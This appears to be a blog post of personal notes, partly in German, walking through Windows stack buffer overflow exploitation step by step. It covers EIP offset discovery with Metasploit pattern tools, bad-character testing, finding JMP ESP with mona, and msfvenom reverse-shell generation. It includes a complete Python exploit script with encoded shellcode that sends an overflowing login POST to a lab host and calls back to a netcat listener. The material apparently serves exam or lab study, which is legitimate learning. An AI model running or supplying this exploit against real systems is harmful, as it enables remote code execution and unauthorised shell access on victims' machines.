Use the bof1_web.py or bof1_socket.py to start.
- Use bof1_socket_10.py to determine the position of the EIP.
- Use bof2_socket_20.py with the found EIP offset to verify that the EIP was overwritten with B’s.
- Use bof3_socket_10.py with the found EIP and find all bad chars.
- Find with Mona a JMP address.
- Create payload, add it and €profit.
0. Confirm vulnerability
- Download and execute the target program and attach a debugger to it.
- Use a script like web_fuzzer.py to crash it with an access violation.
1. Determine the position of the EIP
- Start the application in a debugging session.
- Create an input string
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 4096
- Insert this input string into the application (use bof1.py).
- The application should stop now. Note the address to which the EIP points now.
- Note: When using edb in Linux, at the crash time, not the EIP but the error message shows the actual value to which the EIP points now!
- If the program doesn’t crash — maybe there is a guard which checks the length of the payload before and doesn’t execute the problematic function? Try to change the payload size.
- Note: When using edb in Linux, at the crash time, not the EIP but the error message shows the actual value to which the EIP points now!
- Calculate the position of the EIP value. E.g. if the EIP is 0x39794338 now, calculate the position with
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 4096 -q 39794338 [*] Exact match at offset 2306
- Generate now a new payload with the goal to set the EIP to a defined value. Use the following script and set the proper value for A.
python -c 'print ("A" * 2306) + ("B" * 4) + ("C" * 16) + ("D" * 1500)' A: filler B: EIP C: Offset D: buffer for shellcode - Insert the new payload.
- The program should stop so that the EIP now points at
0x42424242.
Extra: Directly call another function within the program from there.
Assume, there is function in the program you saw while disassembling. You want to execute this function (e.g. to release some information to circumvent authentication/authorisation).
- We want to call the function granted:

- Use this payload to execute the function directly:
python -c 'print ("A" * 2306) + ("\xc0\x85\x04\x08")' - Note that the function will be executed, but the process will probably crash because we didn’t performed the function prolog correctly and by returning to the caller, the stack is messed up. To prevent this, add the exit adress directly after the added adress so that the process will after the new function directly go to the exit of the program without crashing (hopefully). You can find out the exit address e.g. by using objdump/readelf or via gdb with the
p exitcommand. Example:
2. Determine bad characters
- Uncomment the bad characters block in the script and remove the old input buffer block.
- Analyse the memory and note which characters are breaking the memory. Note them all down until the whole remaining bad character block was written into the memory.
- E.g. assuming the following

- Here, 51 is a bad character. Now, repeat by executing the script above again, but remove the \x51.
- And repeat… until all characters until \xff are there.
- Attention: If the buffer is too small, maybe there is no space for all characters and the input will stop at some point without the presence of a bad character!
- E.g. assuming the following
3. Find a return address
- Find a return address to which we want to point the EIP. This should be a static address in the memory. In Immunity, type
!mona modules -o
to list only modules which are not from the os. Omitt the ‑o flag to see all references. - Find an entry which has not enabled any protective technique and which address doesn’t start with 00 or any bad character.

- Search now in the choosen library/executeable for a position of a jump statement to ESP.
- For x86, the statement JMP ESP = FFE4
- In Immunity, find these opcodes via
!mona find -s "\xff\xe4" -m "ChoosenExecuteableOrLibraryName.dll.exe"
- Choose one previous found address of a JMP ESP statement. Assume, 0x1120110d was found.
NOTE: If mona finds multiple addresses and some with “ascii”, use these addresses first!
4. Create payload
- Create a payload and add the bad characters
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.158 LPORT=443 -f python –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x51"
- Adapt the following script and replace the payload and the EIP. Note to reverse the EIP byte order AND to add the NOP slide!
#!/usr/bin/python
import socket
import time
import sys
try:
print "\nSending evil buffer"
buf = b""
buf += b"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
buf += b"\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += b"\x76\x0e\xa9\xc8\xc9\xe8\x83\xee\xfc\xe2\xf4\x55\x20"
buf += b"\x4b\xe8\xa9\xc8\xa9\x61\x4c\xf9\x09\x8c\x22\x98\xf9"
buf += b"\x63\xfb\xc4\x42\xba\xbd\x43\xbb\xc0\xa6\x7f\x83\xce"
buf += b"\x98\x37\x65\xd4\xc8\xb4\xcb\xc4\x89\x09\x06\xe5\xa8"
buf += b"\x0f\x2b\x1a\xfb\x9f\x42\xba\xb9\x43\x83\xd4\x22\x84"
buf += b"\xd8\x90\x4a\x80\xc8\x39\xf8\x43\x90\xc8\xa8\x1b\x42"
buf += b"\xa1\xb1\x2b\xf3\xa1\x22\xfc\x42\xe9\x7f\xf9\x36\x44"
buf += b"\x68\x07\xc4\xe9\x6e\xf0\x29\x9d\x5f\xcb\xb4\x10\x92"
buf += b"\xb5\xed\x9d\x4d\x90\x42\xb0\x8d\xc9\x1a\x8e\x22\xc4"
buf += b"\x82\x63\xf1\xd4\xc8\x3b\x22\xcc\x42\xe9\x79\x41\x8d"
buf += b"\xcc\x8d\x93\x92\x89\xf0\x92\x98\x17\x49\x97\x96\xb2"
buf += b"\x22\xda\x22\x65\xf4\xa0\xfa\xda\xa9\xc8\xa1\x9f\xda"
buf += b"\xfa\x96\xbc\xc1\x84\xbe\xce\xae\x37\x1c\x50\x39\xc9"
buf += b"\xc9\xe8\x80\x0c\x9d\xb8\xc1\xe1\x49\x83\xa9\x37\x1c"
buf += b"\xb8\xf9\x98\x99\xa8\xf9\x88\x99\x80\x43\xc7\x16\x08"
buf += b"\x56\x1d\x5e\x82\xac\xa0\xc3\xe6\xaf\x17\xa1\xea\xa9"
buf += b"\xc9\x72\x61\x4f\xa2\xd9\xbe\xfe\xa0\x50\x4d\xdd\xa9"
buf += b"\x36\x3d\x2c\x08\xbd\xe4\x56\x86\xc1\x9d\x45\xa0\x39"
buf += b"\x5d\x0b\x9e\x36\x3d\xc1\xab\xa4\x8c\xa9\x41\x2a\xbf"
buf += b"\xfe\x9f\xf8\x1e\xc3\xda\x90\xbe\x4b\x35\xaf\x2f\xed"
buf += b"\xec\xf5\xe9\xa8\x45\x8d\xcc\xb9\x0e\xc9\xac\xfd\x98"
buf += b"\x9f\xbe\xff\x8e\x9f\xa6\xff\x9e\x9a\xbe\xc1\xb1\x05"
buf += b"\xd7\x2f\x37\x1c\x61\x49\x86\x9f\xae\x56\xf8\xa1\xe0"
buf += b"\x2e\xd5\xa9\x17\x7c\x73\x39\x5d\x0b\x9e\xa1\x4e\x3c"
buf += b"\x75\x54\x17\x7c\xf4\xcf\x94\xa3\x48\x32\x08\xdc\xcd"
buf += b"\x72\xaf\xba\xba\xa6\x82\xa9\x9b\x36\x3d"
eip = "\x83\x0c\x09\x10"
inputBuffer = ("A" * 760) + eip + ("C" * 16) + buf
content = "username=" + inputBuffer + "&password=A"
buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 10.10.63.37\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Fire\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.63.37", 8899))
s.send(buffer)
s.close()
except:
print "\nCould not connect!"
sys.exit()
5. Execute
- Open a nc listener.
- Profit.
Notes
- If there is an access violation:
- Make sure that the NOPs are there.
- Make sure that the commands are aligned (one NOP more?) See the next image. In this case, one NOP is too much.

- Double check that the shellcode is complete and doesn’t stop before. In the next example, it stops after C1 and is shorter as it should be. Cause: A bad character was added with
-b "\x00\x0a\x0d\x25\x26\0x3d” and not with-b "\x00\x0a\x0d\x25\x26\x3d".
- Make sure that the generated shellcode looks right; especially that he returns at the end. See the following screenshot as example.
Older notes
- The script /usr/share/metasploit-framework/tools/exploit/pattern_create.rb creates long strings which can be used to detect specific positions in input strings.
- Or, if this should not work: https://zerosum0x0.blogspot.com/2016/11/overflow-exploit-pattern-generator.html
- Then, detect which part overwrote the EIP
- Wandele den EIP in ASCII um
- Drehe es um
- Finde die Stelle, an der es im Payload vorkommt
- Bringe dort den gewünschten Wert ein — ans Umdrehen denken!
- Vorsicht vor bestimmten Werten im Payload:
- 0x00 Null-Byte (offensichtlich)
- 0x0D Zeilenumbruch (markiert i.d.R. Ende einer Eingabe)
- Testen auf schlechte Werte: Sende einmal einen Payload mit allen Eingaben von 0x00 bis 0xff und schaue, wie die Anwendung darauf reagiert.
- Z.B. mit folgendem Skript:
-
ruby -e '0.upto(255).each { |i| print "\\x#{(i < 16) ? "0" : ""}#{i.to_s(16)}" }' - Dann damit ausführen. Beim Anhalten schauen, welcher Wert an der Adresse des Stack-Zeigers (ESP) liegt.
- Payloads können generiert werten durch
msfvenom -l payloads
- Beispiel dafür für Windows-Reverse-Shell ohne einige böse Zeichen: (Es muss natürlich vor Ausführung nc auf dem Host lauschen, zu dem die Reverse-Shell weitergeleitet werden soll.)
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"
Leave a Reply
You must be logged in to post a comment.